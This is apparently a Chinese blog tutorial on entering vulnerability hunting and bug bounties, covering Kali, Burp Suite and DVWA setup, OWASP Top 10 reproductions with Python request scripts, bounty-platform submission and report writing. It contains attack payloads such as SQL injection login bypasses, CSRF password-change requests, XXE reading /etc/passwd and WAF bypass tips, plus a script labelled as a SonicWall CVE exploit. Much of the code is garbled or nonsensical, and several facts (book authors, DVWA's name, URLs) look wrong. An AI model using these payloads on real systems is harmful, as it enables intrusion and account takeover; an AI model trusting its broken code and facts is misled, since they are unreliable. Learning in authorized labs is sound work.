漏洞挖掘与赏金攻略

Android洋芋2026-07-19 9:55

从零到一的漏洞挖掘与赏金获取全流程指南：小白也能轻松入门的实战教程

网络安全漏洞挖掘是一项兼具技术挑战和商业价值的技能，随着数字化进程的加速，越来越多的企业开始重视安全防护，漏洞赏金计划也成为网络安全爱好者获取收益的重要途径。本文将为您提供一份从零基础到能够独立挖掘漏洞并赚取赏金的完整指南，不仅包含系统化的学习路径，还提供具体靶场环境搭建方法、漏洞复现代码案例以及平台操作指南，帮助您快速入门并持续提升漏洞挖掘能力。

一、学习网络安全漏洞挖掘的完整路径

漏洞挖掘并非一蹴而就的技能，而是需要系统性学习和持续实践的过程。根据当前网络安全行业的发展趋势，我将学习路径分为三个阶段，每个阶段都有明确的目标和任务。

  1. 筑基阶段（1-2个月）：建立知识框架，掌握基础工具

目标：建立网络安全知识框架，熟练使用基本工具，理解常见漏洞原理。

核心任务：

  • 学习计算机网络基础：掌握TCP/IP协议栈、HTTP协议、端口与服务等基础知识，为后续漏洞挖掘打下基础。
  • 安装配置Kali Linux：作为渗透测试的标准平台，Kali Linux内置了大量安全工具，是初学者的首选。
  • 学习Python基础：掌握Python基础语法、文件操作和网络编程，为编写自动化漏洞挖掘脚本做准备。
  • 搭建DVWA靶场：使用本地搭建的DVWA（损害性Web应用）靶场，配合Burp Suite进行手动漏洞复现练习。

学习资源推荐：

  • 书籍：《计算机网络》（谢希仁）、《白帽子讲Web安全》（郭盛华）、《Python核心编程》（Wesley J. Chaos）
  • 在线课程：PortSwigger Academy SQL注入和XSS模块
  • 靶场：DVWA（损害性Web应用）、OWASP Juice Shop
  1. 拓展阶段（2-3个月）：扩大漏洞知识面，提升工具使用熟练度

目标：系统学习OWASP Top 10漏洞，深入掌握Burp Suite高级模块，了解漏洞赏金平台规则。

核心任务：

  • 学习OWASP Top 10漏洞：重点掌握SQL注入、XSS、CSRF、SSRF、XXE等高危漏洞的原理和利用方法。
  • 深入Burp Suite：学习Intruder、Repeater、Decoder等高级模块的使用，编写简单的宏和扩展。
  • 了解漏洞赏金平台：注册并熟悉漏洞盒子、奇安信众测等国内主流漏洞赏金平台的规则和流程。
  • 参与CTF比赛：从入门级CTF比赛开始，积累实战经验和漏洞挖掘思路。

学习资源推荐：

  • 书籍：《Web安全攻防实战》、《黑客攻防技术宝典-Web实战篇》
  • 在线课程：漏洞盒子"新手专区"、奇安信众测入门教程
  • 靶场：VulnHub、Hack The Box
  1. 实战与深化阶段（持续进行）：形成自己的方法论，参与真实环境测试

目标：形成自己的漏洞挖掘方法论，能够独立发现并报告漏洞。

核心任务：

  • 参与漏洞奖励计划：从企业SRC和众测平台开始，积累实战经验。
  • 代码审计：学习分析源代码，识别潜在漏洞。
  • 内网渗透：掌握内网横向移动和权限提升技巧。
  • 关注前沿漏洞：持续跟踪CVE漏洞动态，学习复现方法。

学习资源推荐：

  • 书籍：《漏洞战争》、《Web之困-现代WEB应用安全指南》
  • 在线资源：Exploit-DB、CVE官方数据库、安全社区（FreeBuf、信安之路等）

    二、环境搭建与基础工具配置
  1. Kali Linux 2026安装与配置

Kali Linux是网络安全领域最广泛使用的Linux发行版之一，它预装了300+款安全工具，是漏洞挖掘和渗透测试的理想平台。以下是安装步骤：

步骤1：下载镜像文件

步骤2：使用虚拟机安装

  • 打开VMware Workstation，点击"创建新的虚拟机"
  • 选择"典型（推荐）"，点击"下一步"
  • 选择"安装程序光盘映像文件（ISO）"，点击"浏览"选择下载的ISO文件
  • 客户机操作系统选择"Linux"，版本选择"Debian 10 64位"
  • 分配至少4GB内存和20GB磁盘空间
  • 点击"完成"，启动虚拟机安装

步骤3：安装过程

  • 选择"Graphical install"（图形化安装）
  • 语言选择"中文（简体）"，地区选择"中国"
  • 设置root密码（建议使用8位以上复杂密码）
  • 选择"使用整个磁盘"，然后选择"将所有文件放在一个分区中"
  • 安装完成后，设置GRUB启动器

常见问题解决：

  • 网络配置失败：检查虚拟机网络设置是否为NAT或桥接模式
  • Burp Suite抓不到HTTPS包：在浏览器中安装Burp的CA证书
  • Python环境问题：Kali Linux 2026默认预装Python 3.10和Python 2.7，可通过python3 -V验证版本
  1. 安装配置Burp Suite

Burp Suite是网络安全领域的核心工具，主要用于Web应用安全测试。以下是配置步骤：

步骤1：安装Burp Suite

  • 在Kali Linux中打开终端，输入sudo apt install burp套件安装社区版
  • 社区版功能足够初学者使用，如需专业功能可考虑购买专业版

步骤2：配置Burp Suite代理

  • 打开Burp Suite，点击"Proxy"标签
  • 选择"Options"子标签
  • 在"Listened addresses"中设置监听地址为"127.0.0.1"，监听端口为"8080"
  • 勾选"Intercept is on"以拦截所有请求

步骤3：安装Burp Suite CA证书

  • 在浏览器设置中配置代理：127.0.0.1:8080
  • 访问http://burp，在弹出的证书管理页面安装证书
  • 重启浏览器，确保HTTPS流量能够正常拦截

Burp Suite Python API配置示例：

from burp import IBurpExtenderCallbacks

def registerExtenderCallbacks(callbacks):

callbacks.setExtensionName("漏洞挖掘助手")

print("Burp Suite版本:", callbacks.getBurpVersion())

配置Burp拦截器

intercept = callbacks.getProxy().getIntercept()

intercept.setInterceptRequests(True)

intercept.setIntercept Responses(True)

if name == "main ":

extender_callbacks = IBurpExtenderCallbacks()

registerExtenderCallbacks(extender_callbacks)

注意：在实际使用中，需将registerExtenderCallbacks函数正确绑定到Burp Suite的扩展API。

  1. 搭建DVWA靶场

DVWA（损害性Web应用）是一个专为安全测试设计的PHP/MySQL Web应用，它包含了OWASP Top 10中的多种漏洞，且支持设置不同安全级别，非常适合初学者练习。

步骤1：安装DVWA

  • 在Kali Linux中打开终端，输入git clone https://github.com/ethical-hacking/dvwa.git
  • 进入dvwa目录，执行sudo apt install apache2 mysql-server libapache2-modPHP7.4 php-mysql -y安装依赖
  • 修改dvwa目录权限：sudo chmod -R 755 dvwa和sudo chown -R www-data:www-data dvwa

步骤2：配置DVWA

  • 启动Apache和MySQL服务：sudo systemctl start apache2和sudo systemctl start mysql
  • 访问http://localhost/dvwa，按照向导完成安装
  • 设置DVWA安全级别为"Low"（初级），便于初学者复现漏洞
  • 创建管理员账户，用户名为"admin"，密码为"password"

三、OWASP Top 10漏洞原理与实战复现

  1. SQL注入漏洞

原理：SQL注入是Web应用中最常见的漏洞之一，攻击者通过在输入参数中注入恶意SQL代码，改变原始SQL查询逻辑，从而执行任意SQL命令。

DVWA复现步骤：

  1. 在DVWA中导航至"SQL注入"模块
  2. 将安全级别设置为"Low"
  3. 在"User ID"输入框中输入恶意值：1' OR '1'='1
  4. 提交请求，观察响应

Python漏洞利用代码示例：

import requests

目标URL

target_url = "http://localhost/dvwa/vulnerabilities/sqi注射低级别"

SQL注入Payload

payload = "1' OR '1'='1"

构造请求参数

data = {"id": payload, "Submit": "提交"}

发送请求

response = requests.post(target_url, data=data)

打印响应内容

print(response.text)

漏洞绕过技巧：

  • 使用UNION SELECT绕过简单过滤：1' UNION SELECT 1,2,3--
  • 使用/**/或%00绕过字符过滤
  • 使用HTTP/1.0或%20等编码绕过WAF检测
  1. XSS（跨站脚本）漏洞

原理：XSS漏洞允许攻击者在Web页面中注入恶意客户端脚本，当其他用户访问该页面时，脚本会自动执行，攻击者可利用此窃取用户会话Cookie等敏感信息。

DVWA复现步骤：

  1. 在DVWA中导航至"XSS（反射型）"模块
  2. 在"Name"输入框中输入恶意脚本：alert('XSS漏洞被触发!')
  3. 点击"提交"按钮，观察页面是否弹出警报

Python漏洞利用代码示例：

import requests

目标URL

target_url = "http://localhost/dvwa/vulnerabilities/xss_r"

XSS Payload

payload = "alert('XSS漏洞被触发!')"

构造请求参数

data = {"name": payload, "Submit": "提交"}

发送请求

response = requests.post(target_url, data=data)

打印响应内容

print("请求已发送，检查浏览器响应")

漏洞绕过技巧：

  • 使用等编码绕过简单过滤
  • 使用等事件触发绕过
  • 使用等交互式绕过
  1. CSRF（跨站请求伪造）漏洞

原理：CSRF漏洞允许攻击者伪造用户请求，诱使用户在已认证的Web应用上执行非预期的操作，如修改密码、转账等。

DVWA复现步骤：

  1. 在DVWA中导航至"CSRF"模块

  2. 设置安全级别为"Low"

  3. 在"CSRF"页面记录当前密码

  4. 创建恶意HTML页面（如low.html），内容如下：

    领奖页面

    恭喜你中奖了！

    页面加载中，请稍候......

  5. 在浏览器中打开恶意HTML页面，DVWA会自动发送修改密码的请求

Python漏洞利用代码示例：

import requests

目标URL

target_url = "http://localhost/dvwa/vulnerabilities/csrf/?password_new=hacker123\&password_conf=hacker123\&Change=Change"

发送请求

response = requests.get(target_url)

检查响应状态码

if response.status_code == 200:

print("CSRF攻击可能成功！")

else:

print("CSRF攻击未成功")

漏洞绕过技巧：

  • 使用Burp Suite的CSRF PoC生成器创建攻击页面
  • 使用JavaScript自动提交表单
  • 使用短链接服务隐藏真实攻击URL
  1. SSRF（服务端请求伪造）漏洞

原理：SSRF漏洞允许攻击者通过Web应用向任意URL发送请求，攻击者可利用此访问内网服务、绕过防火墙等。

DVWA复现步骤：

  1. 在DVWA中导航至"SSRF"模块
  2. 设置安全级别为"Low"
  3. 在"Target"输入框中输入内网地址：http://127.0.0.1
  4. 点击"Go"按钮，观察响应

Python漏洞利用代码示例：

import requests

目标URL

target_url = "http://localhost/dvwa/vulnerabilities/ssrf/?target=http://127.0.0.1"

发送请求

response = requests.get(target_url)

打印响应内容

print(response.text)

漏洞绕过技巧：

  1. XXE（XML外部实体注入）漏洞

原理：XXE漏洞允许攻击者在XML解析过程中注入外部实体，攻击者可利用此读取服务器文件、发起SSRF攻击或造成DoS等。

DVWA复现步骤：

  1. 在DVWA中导航至"XXE"模块
  2. 设置安全级别为"Low"
  3. 在"XML Data"输入框中输入恶意XML：

]>>

1

&xxe;

  1. 点击"Parse"按钮，观察响应

Python漏洞利用代码示例：

import requests

恶意XML载荷

malicious_xml = """

]>>

1

&xxe;

"""

目标URL

target_url = "http://localhost/dvwa/vulnerabilities/xxe/parse"

发送POST请求

response = requests.post(target_url, data={"xml_data": malicious_xml})

打印响应内容

print(response.text)

漏洞绕过技巧：

  • 使用file:///etc/passwd读取服务器文件
  • 使用http://127.0.0.1:8080发起SSRF攻击
  • 使用php://filter/convert.base64-encode/resource=flag读取PHP文件

四、漏洞赏金平台实战指南

漏洞赏金平台是网络安全爱好者获取收益的主要渠道。以下是国内主流漏洞赏金平台的详细操作指南：

  1. 漏洞盒子平台

注册流程：

  1. 访问漏洞盒子官网：https://www.vulbox.com/
  2. 点击右上角"注册"按钮
  3. 选择"白帽版"
  4. 填写个人信息并完成实名认证
  5. 注册完成后，打开"项目大厅"

漏洞提交流程：

  1. 在"项目大厅"中选择"新手专区"
  2. 选择有"新手"标签的项目
  3. 查看项目详情中的测试范围和规则
  4. 在"提交"页面选择"提交漏洞"
  5. 填写漏洞信息：

项目名称：选择项目名称

漏洞标题：简明扼要描述漏洞，如"某网站登录接口存在SQL注入漏洞"

漏洞类别：选择"事件型漏洞"或"通用型漏洞"

厂商名称：选择对应厂商

厂商域名：填写漏洞影响的域名，如"www.xxx.com"

漏洞类型：选择对应漏洞类型

漏洞等级：根据漏洞严重程度选择

漏洞简述：简要描述漏洞原理和影响

漏洞URL：填写漏洞所在的具体URL

复现步骤：分步骤描述漏洞复现过程

修复建议：提供漏洞修复建议

新手友好项目：

  • 补天平台"新手专区"：漏洞门槛低，适合零基础
  • 漏洞盒子"新手专区"：有详细指导和奖励
  1. 奇安信众测平台

注册流程：

  1. 访问奇安信众测官网：https://src.qianxin.com/
  2. 点击右上角"注册"按钮
  3. 选择"白帽子"身份
  4. 填写个人信息并完成实名认证
  5. 注册完成后，打开"项目大厅"

漏洞提交流程：

  1. 在"项目大厅"中选择"新手任务"
  2. 申请加入项目，等待审核
  3. 通过审核后，开始漏洞挖掘
  4. 在平台中提交漏洞报告

漏洞报告模板示例：

漏洞名称：某系统-登录接口SQL注入漏洞

  1. 漏洞基本信息
  • 漏洞类型：SQL注入
  • 影响范围：登录接口
  • 漏洞等级：高危
  • 发现时间：2026-07-18
  • 测试URL：http://www.xxx.com/login.php

  1. 复现步骤

  2. 访问测试URL：http://www.xxx.com/login.php

  3. 在用户名输入框中输入：' OR '1'='1

  4. 密码输入框留空

  5. 点击登录按钮，观察是否成功登录

  6. 使用Burp Suite的Intruder模块发送批量请求，验证漏洞稳定性

  7. 危害证明

  • 截图1：正常登录页面截图
  • 截图2：注入成功后的登录页面截图
  • 截图3：Burp Suite请求响应截图
  1. 修复建议
  • 对用户输入进行严格过滤和转义
  • 使用预处理语句（如PHP的PDO）替代直接拼接SQL查询
  • 在数据库中设置最小权限原则
  • 开启WAF防护，配置SQL注入检测规则

注意事项：

  • 测试范围：严格遵守项目声明的测试范围，不得越权测试
  • 不破坏数据：验证漏洞存在即可，不得修改或删除用户数据
  • 不泄露漏洞：在厂商修复前，不得向第三方泄露漏洞细节

五、漏洞报告撰写技巧与规范

漏洞报告是漏洞挖掘过程中的关键环节，一份优质的漏洞报告不仅能提高漏洞被确认的概率，还能为漏洞修复提供有效指导。

  1. 漏洞报告基本结构

一个完整的漏洞报告应包含以下部分：

  1. 漏洞标题：简明扼要描述漏洞，如"某网站登录接口存在SQL注入漏洞"

  2. 漏洞描述：详细描述漏洞原理、触发条件和影响范围

  3. CVSS评分：根据漏洞特性提供CVSS评分

  4. 复现步骤：分步骤描述漏洞复现过程，包括使用的工具、输入的Payload和预期响应

  5. 修复建议：提供具体的漏洞修复方案

  6. 证明材料：提供漏洞复现的截图、日志或视频证明

  7. 授权声明：声明测试是在授权范围内进行的

  8. CVSS评分指南

CVSS（通用漏洞评分系统）是评估漏洞严重性的行业标准，使用CVSS评分可以直观地向厂商展示漏洞的严重程度。

CVSS评分示例：

  • SQL注入漏洞：CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    • AV:N：攻击向量为网络
    • AC:L：攻击复杂度低
    • PR:N：无需权限
    • UI:N：无需用户交互
    • S:U：影响范围不变
    • C:H：高机密性影响
    • I:H：高完整性影响
    • A:H：高可用性影响

  • XSS漏洞：CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

    • AV:N：攻击向量为网络
    • AC:L：攻击复杂度低
    • PR:N：无需权限
    • UI:R：需要用户交互
    • S:U：影响范围不变
    • C:L：低机密性影响
    • I:L：低完整性影响
    • A:N：无可用性影响

漏洞等级划分：

  • 0.0-3.9：低危
  • 4.0-6.9：中危
  • 7.0-8.9：高危
  • 9.0-10.0：严重
  1. 漏洞报告撰写技巧

描述清晰：

  • 使用简洁明了的语言，避免技术术语过多
  • 明确漏洞位置、利用方式和潜在危害

复现步骤详细：

  • 按操作顺序分步骤描述
  • 每一步操作附截图或日志片段
  • 提供可复现的Payload和请求方法

影响分析深入：

  • 分析漏洞可能导致的数据泄露、服务中断等影响
  • 评估漏洞被利用的难易程度和潜在攻击路径

修复建议具体：

  • 提供代码层面的修改建议
  • 提供配置层面的调整方案
  • 提供架构层面的安全增强措施

报告声明规范：

  • 声明测试是在授权范围内进行的
  • 声明报告内容仅用于安全研究和漏洞修复
  • 声明不泄露漏洞细节给第三方

六、持续提升与实战技巧

漏洞挖掘是一项需要持续学习和实践的技能。以下是一些提升技巧和资源：

  1. 参加CTF比赛

CTF（Capture The Flag）比赛是提升漏洞挖掘技能的绝佳途径，它通过游戏化的方式让您在实践中学习。

2026年推荐CTF平台：

  • 新手友好型：

    • CTFHub周赛：每周举办，Web题目占比60%
    • i春秋线上月赛：每月更新题库，提供详细Writeup
    • 校内/企业新人赛：如腾讯TCTF新人赛、阿里安全新人赛

  • 进阶级平台：

    • CTFshow：题目类型全面，有详细提示
    • 攻防世界：题目难度适中，适合巩固基础
    • TryHackMe：国际知名平台，内容丰富

CTF比赛准备建议：

  • 从简单题目入手：先完成100道入门级Web题目
  • 强制"脱离工具"训练：如Web题先手动构造Payload，再用自动化工具验证
  • 每周复盘错题：按漏洞类型分类整理，标注"易错点"
  1. 关注安全社区动态

安全社区是获取最新漏洞情报和技术发展的主要渠道。以下是几个值得关注的平台：

获取最新漏洞情报的方法：

  • 使用NGCBot微信机器人订阅FreeBuf、先知社区、安全客和奇安信攻防社区的实时新闻
  • 访问CVE官方数据库：https://cve.mitre.org/，跟踪最新漏洞披露
  • 关注Twitter上的安全账号，如@FreeBuf、@QianXinSec等
  1. 学习前沿漏洞技术

2026年热门漏洞技术方向：

  • 云安全漏洞：SSRF攻击云服务器、云函数漏洞利用、对象存储权限配置缺陷
  • 嵌入式设备漏洞：IoT设备固件漏洞、智能设备安全缺陷
  • AI模型漏洞：模型对抗攻击、数据投毒等

前沿漏洞学习资源：

  • CVE-2026-15409 SSRF漏洞：SonicWall SMA1000设备的SSRF漏洞，CVSS评分10.0，无需认证即可利用
  • CVE-2026-15410 代码注入漏洞：SonicWall SMA1000设备的RCE漏洞，CVSS评分7.2，需要管理员权限
  • 2026年嵌入式CTF比赛：MITRE主办的Embedded CTF，聚焦嵌入式系统安全

漏洞复现案例：

import requests

利用CVE-2026-15409 SSRF漏洞

def exploit_sonicwall():

target_ip = "192.168.1.100" #目标设备IP

SSRF_url = "http://{}:8080".format(target_ip)

复制代码 
#构造恶意请求
SSRF载荷 = "http://127.0.0.1:8080"

#发送请求
try:
    response = requests.get(SSRF_url, params={"target": SSRF载荷})
    print("SSRF请求已发送，响应状态码：", response.status_code)
    print("响应内容：", response.text)
except Exception as e:
    print("请求发送失败：", e)

调用函数

exploit_sonicwall()

注意事项：

  • 仅在授权环境下测试：确保所有测试均在授权范围内进行
  • 不破坏生产环境：测试仅限于开发或测试环境，不得影响生产系统
  • 不利用漏洞进行攻击：漏洞挖掘的目的是发现和修复安全问题，而非造成损害

七、常见问题与解决方案

问题1：Burp Suite抓不到HTTPS请求

  • 原因：未正确安装Burp的CA证书
  • 解决方案 ：
    • 在浏览器中访问http://burp，下载并安装CA证书
    • 检查浏览器证书管理设置，确保Burp证书被信任

问题2：DVWA靶场无法启动

  • 原因：Apache或MySQL服务未正确配置
  • 解决方案 ：
    • 启动Apache服务：sudo systemctl start apache2
    • 启动MySQL服务：sudo systemctl start mysql
    • 检查DVWA配置文件：cd dvwa/config，编辑dvwa.php设置数据库连接

问题3：漏洞报告被拒绝

  • 原因：报告内容不完整、格式不规范或漏洞不存在
  • 解决方案 ：
    • 按照平台要求填写所有必填字段
    • 提供清晰的复现步骤和证明材料
    • 在本地环境充分验证漏洞存在性

结语

漏洞挖掘是一项兼具技术挑战和商业价值的技能，通过本文提供的系统学习路径、环境搭建指南、漏洞复现案例和平台操作指南，即使是零基础的新手也能逐步入门并开始挖掘漏洞。请记住，漏洞挖掘必须在合法授权的范围内进行，遵守相关法律法规和平台规则。

随着实践的深入，您将不断积累经验，提升技能，最终能够独立发现并报告高价值漏洞，获得丰厚的漏洞赏金。网络安全是一个不断发展的领域，保持学习的热情和持续实践的态度，是成为优秀安全研究人员的关键。

祝您在网络安全的道路上取得成功！

相关推荐
王燕龙(大卫)6 小时前
fastdds笔记
网络·c++·笔记
meilindehuzi_a6 小时前
浏览器端 HTTP 流式通信详解：从 SSE 到 EventSource、fetch 与 ReadableStream
网络·网络协议·http
数据知道7 小时前
SDN 与软件定义网络的安全边界在哪里？
网络·安全·网络安全
REDcker7 小时前
用 eBPF 观测 SSL/TLS 明文：原理、钩点与边界
网络·网络协议·ssl
数据知道7 小时前
VLAN 与安全隔离：从配置错误到 VLAN Hopping 攻击
网络·安全·网络安全·智能路由器
Tsuki_tl7 小时前
UDP传输协议
网络·网络协议·udp·传输层·udp校验和·tcp与udp区别·面向数据报
Sagittarius_A*7 小时前
Open HTTP Redirect 开放重定向漏洞：URL 跳转校验缺陷与绕过技术
网络·安全·web安全·http·dvwa·burp suite
信仰8747 小时前
HCIA-华为数通基础理论与实践08
网络·笔记·华为
代码的小搬运工10 小时前
网络请求(NSURL、NSURLRequest、NSURLSessionDataTask、协议回调与 JSON 数据的基本流向)
网络·数据库·json
热门推荐
012026年7月AI圈大地震：GPT-5.6被政府限制、Claude入驻Slack、Anthropic自研芯片02GitHub 镜像站点03AI科技热点日报 | 2026年07月01日04幻兽帕鲁 - 服务器管理员权限与 GM 命令完全指南05如何新建文件夹？ 电脑新建文件夹的4种方法06AI 编程 IDE 全景解析 2026：Agent 全面接管开发链路072026年AI技术突破与产业落地全景：从GPT-5到多模态智能体的新纪元08国内可直接用、免费额度/永久免费的大模型API清单（含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等）092026 国产 AI 大模型横评：DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打？10几个好用的ip纯净度检测网站